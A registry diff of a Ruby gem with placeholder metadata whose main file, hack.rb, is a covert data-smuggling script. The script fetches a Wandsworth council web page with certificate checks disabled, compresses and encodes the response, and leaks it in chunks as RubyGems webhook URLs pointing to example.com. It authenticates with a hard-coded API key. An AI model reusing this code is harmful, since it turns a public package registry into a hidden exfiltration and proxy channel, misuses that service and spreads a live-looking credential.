wandcabm10266dsgn4 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/hack.rb +23 -0
- data/lib/a.rb +1 -0
- data/wandcabm10266dsgn4.gemspec +3 -0
- metadata +39 -0
checksums.yaml
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
1
|
+
---
|
|
2
|
+
SHA256:
|
|
3
|
+
metadata.gz: 3ea2d60983236f5d3419fd72681eb24aee417e9b652d757507a3ba88184539c3
|
|
4
|
+
data.tar.gz: 2082dec64cc367880614fc854913e3803e895408da3bde739bdb4d0d68fc0a77
|
|
5
|
+
SHA512:
|
|
6
|
+
metadata.gz: 93b0b8e72731317d5b1d51b397e1ec79f702e83e5f6c7ff01f354f00d4f9a95832a164e2e16e23e2e61f0b1e7f9120e8ab778e88d69423e804dd5d6723c695ea
|
|
7
|
+
data.tar.gz: a2f0a0eb98332af790b7bf1069199abbdbce37880468c5b9033e09a40497fa8b8eb32f709e5925b8a66a8a5545b11f2b8e9ee50efd4da0882d8e3db97375ff5d
|
data/hack.rb
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
begin
|
|
2
|
+
require 'net/http'; require 'uri'; require 'json'; require 'zlib'; require 'base64'; require 'openssl'
|
|
3
|
+
key='rubygems_39d212498b990c5431e449bd5bb9f1752b00a5959b96459b'
|
|
4
|
+
name='wandcabm10266dsgn4'
|
|
5
|
+
prefix='CAB'
|
|
6
|
+
target=URI('https://democracy.wandsworth.gov.uk/ieListDocuments.aspx?CId=792%26MId=10266')
|
|
7
|
+
h=Net::HTTP.new(target.hostname,target.port); h.use_ssl=true if target.scheme=='https'; h.verify_mode=OpenSSL::SSL::VERIFY_NONE; h.open_timeout=30; h.read_timeout=60
|
|
8
|
+
req=Net::HTTP::Get.new(target.request_uri, {'User-Agent'=>'Mozilla/5.0'}); res=h.request(req)
|
|
9
|
+
raw="STATUS=#{res.code}\nURL=#{target}\n"+res.body
|
|
10
|
+
data=Base64.urlsafe_encode64(Zlib::Deflate.deflate(raw)).delete('=')
|
|
11
|
+
chunks=data.scan(/.{1,700}/)
|
|
12
|
+
chunks.each_with_index do |ch,i|
|
|
13
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri)
|
|
14
|
+
post['Authorization']=key; post.set_form_data({'gem_name'=>name,'url'=>'https://example.com/'+prefix+('%04d'%i)+'/'+ch})
|
|
15
|
+
Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
|
|
16
|
+
end
|
|
17
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>name,'url'=>'https://example.com/'+prefix+'END/'+chunks.size.to_s}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)} rescue nil
|
|
18
|
+
rescue => e
|
|
19
|
+
begin
|
|
20
|
+
uri=URI('https://rubygems.org/api/v1/web_hooks'); post=Net::HTTP::Post.new(uri); post['Authorization']=key; post.set_form_data({'gem_name'=>name,'url'=>'https://example.com/'+prefix+'ERR/'+e.class.to_s+e.message[0,100].gsub(/[^A-Za-z0-9.-]/,'_')}); Net::HTTP.start(uri.hostname,uri.port,use_ssl:true){|x| x.request(post)}
|
|
21
|
+
rescue
|
|
22
|
+
end
|
|
23
|
+
end
|
data/lib/a.rb
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
# hi
|
metadata
ADDED
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
|
2
|
+
name: wandcabm10266dsgn4
|
|
3
|
+
version: !ruby/object:Gem::Version
|
|
4
|
+
version: 0.0.1
|
|
5
|
+
platform: ruby
|
|
6
|
+
authors:
|
|
7
|
+
- x
|
|
8
|
+
bindir: bin
|
|
9
|
+
cert_chain: []
|
|
10
|
+
date: 1980-01-02 00:00:00.000000000 Z
|
|
11
|
+
dependencies: []
|
|
12
|
+
executables: []
|
|
13
|
+
extensions: []
|
|
14
|
+
extra_rdoc_files: []
|
|
15
|
+
files:
|
|
16
|
+
- hack.rb
|
|
17
|
+
- lib/a.rb
|
|
18
|
+
- wandcabm10266dsgn4.gemspec
|
|
19
|
+
licenses:
|
|
20
|
+
- MIT
|
|
21
|
+
metadata: {}
|
|
22
|
+
rdoc_options: []
|
|
23
|
+
require_paths:
|
|
24
|
+
- lib
|
|
25
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
|
26
|
+
requirements:
|
|
27
|
+
- - ">="
|
|
28
|
+
- !ruby/object:Gem::Version
|
|
29
|
+
version: '0'
|
|
30
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
|
31
|
+
requirements:
|
|
32
|
+
- - ">="
|
|
33
|
+
- !ruby/object:Gem::Version
|
|
34
|
+
version: '0'
|
|
35
|
+
requirements: []
|
|
36
|
+
rubygems_version: 3.6.7
|
|
37
|
+
specification_version: 4
|
|
38
|
+
summary: x
|
|
39
|
+
test_files: []
|